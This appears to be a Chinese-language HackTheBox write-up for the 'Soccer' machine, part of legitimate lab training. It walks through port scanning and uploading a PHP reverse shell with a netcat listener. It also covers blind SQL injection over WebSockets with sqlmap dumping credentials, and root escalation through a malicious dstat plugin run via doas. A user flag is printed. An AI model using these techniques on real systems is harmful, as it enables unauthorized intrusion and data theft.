HackTheBox-Machines-Soccer
靶场地址
1 | https://app.hackthebox.com/machines/Soccer |
信息收集
端口扫描
1 | 靶机 10.10.11.194 攻击机 10.10.16.8 |
1 | nmap 10.10.11.194 |
1 | nmap -sC -sV -p22,80,9091 10.10.11.194 |
1 | PORT STATE SERVICE VERSION |
将域名写入到hosts文件中
1 | echo "10.10.11.194 soccer.htb" >> /etc/hosts |
访问80端口,发现是 Tiny File Manager 去网上搜索一波
TinyFileManager 是基于 Web 的 PHP 文件管理器,它是一个简单、快速且体积小的单文件 PHP 文件,可以放入服务器上的任何文件夹,多语言就绪的 Web 应用程序,用于存储、上传、编辑和管理文件和通过网络浏览器在线文件夹。该应用程序在 PHP 5.5+ 上运行,它允许创建多个用户,每个用户都可以拥有自己的目录,并内置支持使用 cloud9 IDE 管理文本文件,它支持超过 150 种语言和超过 35 种语言的语法高亮显示主题。
1 | https://github.com/prasathmani/tinyfilemanager #TinyFileManager文章介绍 |
目录枚举
1 | ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,301 -u http://soccer.htb/FUZZ |
登陆后的页面,发现是文件上传管理器
使用文件形式的反弹shell
1 | https://pentestmonkey.net/tools/web-shells/php-reverse-shell |
进行下载并且解压
1 | tar -zxvf php-reverse-shell-1.0.tar.gz |
修改ip为自己的
1 | vim php-reverse-shell.php |
上传文件
然后进行上传
注意上传的目录
反弹shell
1 | nc -lvnp 1234 |
成功获得反弹shell
现在使用linpeas脚本搜集主机信息
1 | git clone https://github.com/BRU1S3R/linpeas.sh.git |
1 | chmod +x linpeas.sh |
在下面,脚本列出的nginx默认配置里发现了一个子域名
将子域名写入到hosts文件中
1 | echo "10.10.11.194 soc-player.soccer.htb" >> /etc/hosts |
在搜索引擎上访问子域
在左上角有个注册的功能点,因为没有账号所以需要注册
登陆后的页面
好吧 现在怎么搞呢 既然是靶机 肯定是有突破点的,网上查查资料,看一下页面源代码
它使用的是WebSockets,然后将我们输入的发送到这个URL “ws://soc-player.soccer.htb:9001”
告诉我们 传递的参数为id 有id是不是就可以测试sql了
通过WebSockets进行SQL注入测试,网上找到的文章
检测sql注入
1 | https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html |
1 | from http.server import SimpleHTTPRequestHandler |
将脚本复制下来,在kali创建一个新的文本,将文件重命名改为Web_Socket.py
根据那个网页源代码,修改ws_server和data参数
然后根据文章说的安装websocket模块
1 | pip3 install websocket-client |
安装完运行复制下来的脚本
1 | python3 web_socket.py |
下面按照文章写的利用sqlmap
1 | sqlmap -u http://localhost:8081/?id=1 --dump-all --exclude-sysdbs |
1 | --dump-all:查找并转储找到的所有数据库 |
1 | Database: soccer_db |
SSH登录
现在得到用户名和密码了,使用ssh登录即可
1 | ssh player@10.10.11.194 |
用户标志
1 | 用户标志: 11cd63d82d24ead08a41ac1cba497f8e |
提权
根据之前linpeas脚本搜集到的信息,发现doas程序有suid权限,doas也不是默认安装的程序
至于什么是doas
1 | https://zh.m.wikipedia.org/zh-hans/Doas |
说到底 Doas是一个与Sudo具有相同功能的软件
find一下doas的配置文件
1 | find / -type f -name doas.conf 2>/dev/null |
他说的是 允许用户player用dstat使用root
查看dstat程序的官方文档,发现我们可以编写插件并执行,名称必须为dstat_*.py,插件存放的目录为/usr/local/share/dstat/
我们可以往插件里写入rev shell获得root权限
1 | cd /usr/local/share/dstat/ |
1 | vim dstat_qq.py |
1 | import os; os.system("bash -i") |
1 | doas -u root /usr/bin/dstat --qq |
这样就可以提权到root权限了